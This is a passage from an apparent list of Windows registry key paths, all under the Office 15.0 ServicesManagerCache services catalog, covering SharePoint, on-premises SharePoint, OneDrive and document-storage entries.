  1320. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceOwner",
  1321. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SortOrder",
  1322. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SupportsMultiple",
  1323. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\CapabilitiesMetadata",
  1324. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Description",
  1325. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Name",
  1326. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceId",
  1327. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceUrl",
  1328. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata",
  1329. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\KeyTip",
  1330. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\Type",
  1331. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails",
  1332. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url16x16",
  1333. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url32x32",
  1334. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url48x48",
  1335. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP",
  1336. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Capabilities",
  1337. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ConnectMechanism",
  1338. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsManaged",
  1339. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsRemovable",
  1340. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceOwner",
  1341. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SortOrder",
  1342. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SupportsMultiple",
  1343. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1344. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Description",
  1345. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Name",
  1346. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceId",
  1347. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceUrl",
  1348. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata",
  1349. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1350. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\Type",
  1351. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails",
  1352. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1353. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1354. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1355. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT",
  1356. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Capabilities",
  1357. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ConnectMechanism",
  1358. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsManaged",
  1359. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsRemovable",
  1360. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceOwner",
  1361. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SortOrder",
  1362. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SupportsMultiple",
  1363. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\CapabilitiesMetadata",
  1364. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Description",
  1365. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Name",
  1366. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceId",
  1367. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceUrl",
  1368. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata",
  1369. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\KeyTip",
  1370. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\Type",
  1371. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails",
  1372. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url16x16",
  1373. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url32x32",
  1374. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url48x48",
  1375. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP",
  1376. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Capabilities",
  1377. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ConnectMechanism",
  1378. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsManaged",
  1379. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsRemovable",
  1380. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceOwner",
  1381. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SortOrder",
  1382. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SupportsMultiple",
  1383. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1384. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Description",
  1385. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Name",
  1386. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceId",
  1387. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceUrl",
  1388. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata",
  1389. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1390. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\Type",
  1391. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails",
  1392. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1393. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1394. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1395. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED",
  1396. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Capabilities",
  1397. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ConnectMechanism",
  1398. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsManaged",
  1399. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsRemovable",
  1400. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceOwner",
  1401. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SortOrder",
  1402. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SupportsMultiple",
  1403. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\CapabilitiesMetadata",
  1404. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Description",
  1405. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Name",
  1406. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceId",
  1407. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceUrl",
  1408. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata",
  1409. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\KeyTip",
  1410. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\Type",
  1411. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT",
  1412. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Capabilities",
  1413. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ConnectMechanism",
  1414. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsManaged",
  1415. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsRemovable",
  1416. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceOwner",
  1417. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SortOrder",
  1418. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SupportsMultiple",
  1419. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\CapabilitiesMetadata",
  1420. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Description",
  1421. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Name",
  1422. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceId",
  1423. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceUrl",
  1424. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata",
  1425. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\DefaultFolderRelativePath",
  1426. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\KeyTip",
  1427. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\Type",
  1428. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails",
  1429. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url16x16",
  1430. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url32x32",
  1431. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url48x48",
  1432. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP",
  1433. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Capabilities",
  1434. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ConnectMechanism",
  1435. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsManaged",
  1436. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsRemovable",
  1437. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceOwner",
  1438. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SortOrder",
  1439. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SupportsMultiple",
  1440. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1441. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Description",
  1442. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Name",
  1443. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceId",
  1444. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceUrl",
  1445. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata",
  1446. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1447. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\Type",
  1448. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails",
  1449. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1450. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1451. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1452. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER",
  1453. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Capabilities",
  1454. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ConnectMechanism",
  1455. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsManaged",
  1456. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsRemovable",
  1457. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceOwner",
  1458. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SortOrder",
  1459. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SupportsMultiple",
  1460. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\CapabilitiesMetadata",
  1461. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Description",
  1462. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Name",
  1463. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceId",
  1464. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceUrl",
  1465. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata",
  1466. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\HideIfEmpty",
  1467. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\KeyTip",
  1468. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\Type",
  1469. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails",
  1470. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url16x16",
  1471. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url32x32",
  1472. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url48x48",
  1473. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE",
  1474. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Capabilities",
  1475. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ConnectMechanism",
  1476. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsManaged",
  1477. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsRemovable",
  1478. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceOwner",
  1479. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SortOrder",
  1480. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SupportsMultiple",
